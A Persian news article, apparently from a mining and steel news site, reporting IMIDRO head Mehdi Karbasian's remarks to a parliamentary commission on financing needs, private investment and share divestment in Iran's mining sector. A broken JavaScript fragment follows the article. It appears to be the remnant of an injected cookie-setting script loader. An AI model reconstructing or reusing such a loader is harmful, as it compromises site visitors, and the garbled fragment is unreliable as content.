سه شنبه ۰۱ مرداد ۱۳۹۸ , ۰۲:۵۴:۳۳
2019 / July / 22



معادن آذر ۱۱, ۱۳۹۶

ایمیدرو برای تکمیل طرح های سال جاری به بیش از ۲٫۱ میلیارد دلار سرمایه نیاز دارد.

تنها 3700 میلیارد تومان از سوی ایمیدرو تامین و مابقی در قالب مشارکت بخش خصوصی ، تامین و وارد پروژه ها شد.

رییس هیات عامل ایمیدرو در دیدار با اعضای کمیسیون ویژه حمایت از تولید ملی و نظارت بر اجرای سیاست های کلی اصل 44 خبر داد: بخش خصوصی از ابتدای دولت یازدهم تاکنون 6500 میلیارد تومان در طرح های معدنی و صنایع معدنی مشارکت کرده است. چنین سرمایه گذاری در کشور یک استثنا محسوب می شود.

مهدی کرباسیان در این نشست که به ارایه استراتژی ها و عملکرد این سازمان در پیاده سازی اصل ۴۴ قانون اساسی و اقتصاد مقاومتی می پرداخت،‌ گفت: ایمیدرو از سال ۹۲ به این سو در شرایطی در راستای اقتصاد مقاومتی و اصل ۴۴ به تقویت همکاری ها و جلب مشارکت بخش خصوصی پرداخته که منابع حاصل از واگذاری را برای توسعه در اختیار نداشته است.

کرباسیان خاطر نشان کرد: از ۲۴ هزار میلیارد تومان پروژه نیمه تمام و متوقف، تنها ۳۷۰۰ میلیارد تومان از سوی ایمیدرو تامین و مابقی در قالب مشارکت بخش خصوصی ، تامین و وارد پروژه ها شد.

وی افزود: بخش آهن اسفنجی فولادهای استانی، پروژه اُپال پارسیان در سنگان و الکترود گرافیتی از جمله طرح هایی هستند که بخش خصوصی سرمایه گذاری کرده است.

معاون وزیر صنعت معدن و تجارت ادامه داد: در طرح های استانی فولاد تنها ۳۵درصد سهم سرمایه گذاری ایمیدرو بود. اجرای فازهای توسعه سنگان نیز ۴۹درصد سرمایه گذاری شد این در حالی است که سنگان بخش قابل توجهی پروژه در حوزه زیرساخت دارد که تکلیف حاکمیتی است.

کرباسیان با اشاره به اهمیت فعال شدن طرح بزرگی همچون آلومینیوم جنوب، تصریح کرد: این طرح که بیش از یک میلیارد دلار ارزش برخوردار است، سال ها متوقف شده بود اما در دولت یازدهم ،بخش خصوصی تاکنون ۴۰۰ میلیارد تومان در آن هزینه کرده است.

رییس هیات عامل ایمیدرو درباره واگذاری سهام اظهار داشت: ۳۱هزار و ۷۰۰ میلیارد تومان از سهام شرکت های ایمیدرو واگذار شده که حدود ۶۱درصد از این رقم فقط مربوط به رد دیون و سهام عدالت بوده است.

پیشنهادها برای تامین مالی 
کرباسیان در عین حال پیشنهاد داد: ۴۶۰۰ میلیارد تومان از دولت طلب داریم اما پولی هم نمی خواهیم فقط به این سازمان با تضمین دولت، اجازه فروش اوراق مشارکت ارزی و ریالی داده شود. یکی از مهمترین دلایل این تقاضا این است که سرمایه گذاری در بخش معدن و صنایع معدنی متوقف نشود و انجام گیرد.

وی با بیان اینکه مجوز فروش ۵ میلیارد دلار اوراق ارزی یکی از راهکارهاست، افزود: تهاتر بدهی ها با طلب ها پس از تایید سازمان حسابرسی،‌ افزایش سرمایه صندوق بیمه معدنی به ۴۰۰ میلیارد تومان،‌ تضمین سرمایه گذاری ایمیدرو تا ۵۰۰ میلیون دلار برای مشارکت با سرمایه گذاران خارجی و جذب فاینانس و مجوز هزینه کرد تا ۵۰درصد از حقوق دولتی معادن ایمیدرو در بخش زیربناها از جمله پیشنهادات ایمیدرو برای تامین منابع مالی است.

کرباسیان ادامه داد: برای تامین ماشین آلات معدنی مجوز وجوه اداره شده به منظور تامین مالی تا هزار میلیارد تومان اختصاص داده شود.

رییس هیات عامل ایمیدرو با اشاره به نیاز ۵۱ میلیارد دلاری توسعه معدن و صنایع معدنی ایران گفت: این سازمان برای تکمیل طرح های سال جاری به بیش از ۲٫۱ میلیارد دلار سرمایه نیاز دارد.

امیر صباغ مدیر اقتصادی و توسعه سرمایه گذاری در گزارشی گفت : نوع واگذاری ها به گونه ای بوده که متاسفانه سبب گسست زنجیره تامین بخش معدن و صنایع معدنی شد به همین علت شاهدیم که شرکت های فولادی به دنبال معادن سنگ و شرکت های سنگ آهنی خواهان احداث کارخانه فولاد شدند.

رعایت اصل ۴۴ از سوی ایمیدرو
در این نشست رئیس کمیسیون حمایت از تولید ملی مجلس در ابتدا از ثبات مدیریتی در ایمیدرو اظهار خرسندی کرد و گفت: این سازمان می تواند با سهم ۲۰درصدی در طرح ها و اخذ تسهیلات از صندوق توسعه ملی به رسالت توسعه ای خود عمل کند.

حمید رضا فولادگر تصریح کرد:‌ ایمیدرو در اجرای طرح های خود مفاد اصل ۴۴ قانون اساسی را رعایت کرده است.

عضو کمیسیون صنایع مجلس در عین حال خواستار ارایه طرح ها و اقدامات سازمان های توسعه ای به مجلس شد. به گفته وی این امر سبب می شود مجلس با اطلاعات بیشتری در این حوزه تصمیم گیری کند.

حمایت قانونی
از سوی دیگر علی اصغر یوسف نژاد دبیر هیات رییسه و نماینده مردم ساری در مجلس شورای اسلامی با انتقاد از واگذاری های غیرتخصصی گفت: اگر طبق قانون ایمیدرو و ایدرو سازمان توسعه ای تعریف و ایجاد شده اند،‌ برای انجام رسالت خود نیاز به کمک مجلس دارند.

وی بزرگ ترین کمک مجلس به سازمان های توسعه همچون ایمیدرو را ارایه قوانین و مقرراتی متناسب با توسعه دانست.

یوسف نژاد در عین حال گفت: قانون فعلی معادن نیز نیاز به بروز آوری دارند. وی ادامه داد: بخش معدن می تواند جایگاه ویژه ای در اقتصاد مقاومتی داشته باشد بنابراین نیاز به کمک صندوق توسعه ملی دارد.

محمد حسین حسین زاده بحرینی نیز در این نشست اظهار داشت: چنانچه بانک توسعه ای در کنار سازمان های توسعه ای نباشد نمی توان شاهد اجرای دقیق ماموریت ها شد.

عضو کمیسیون ویژه حمایت از تولید ملی افزود: ارزش افزوده بخش معدن نجومی است و برای بهره گیری از این پتانسیل باید نقدینگی به سمت بخش معدن هدایت شود. +e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));:void 0}var =”,||void 0===time){var ), path=/; expires=”(”+src+'”><\/script>‘)}

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

استفاده از اخبار با نقل منبع معدن و فولاد مجاز است.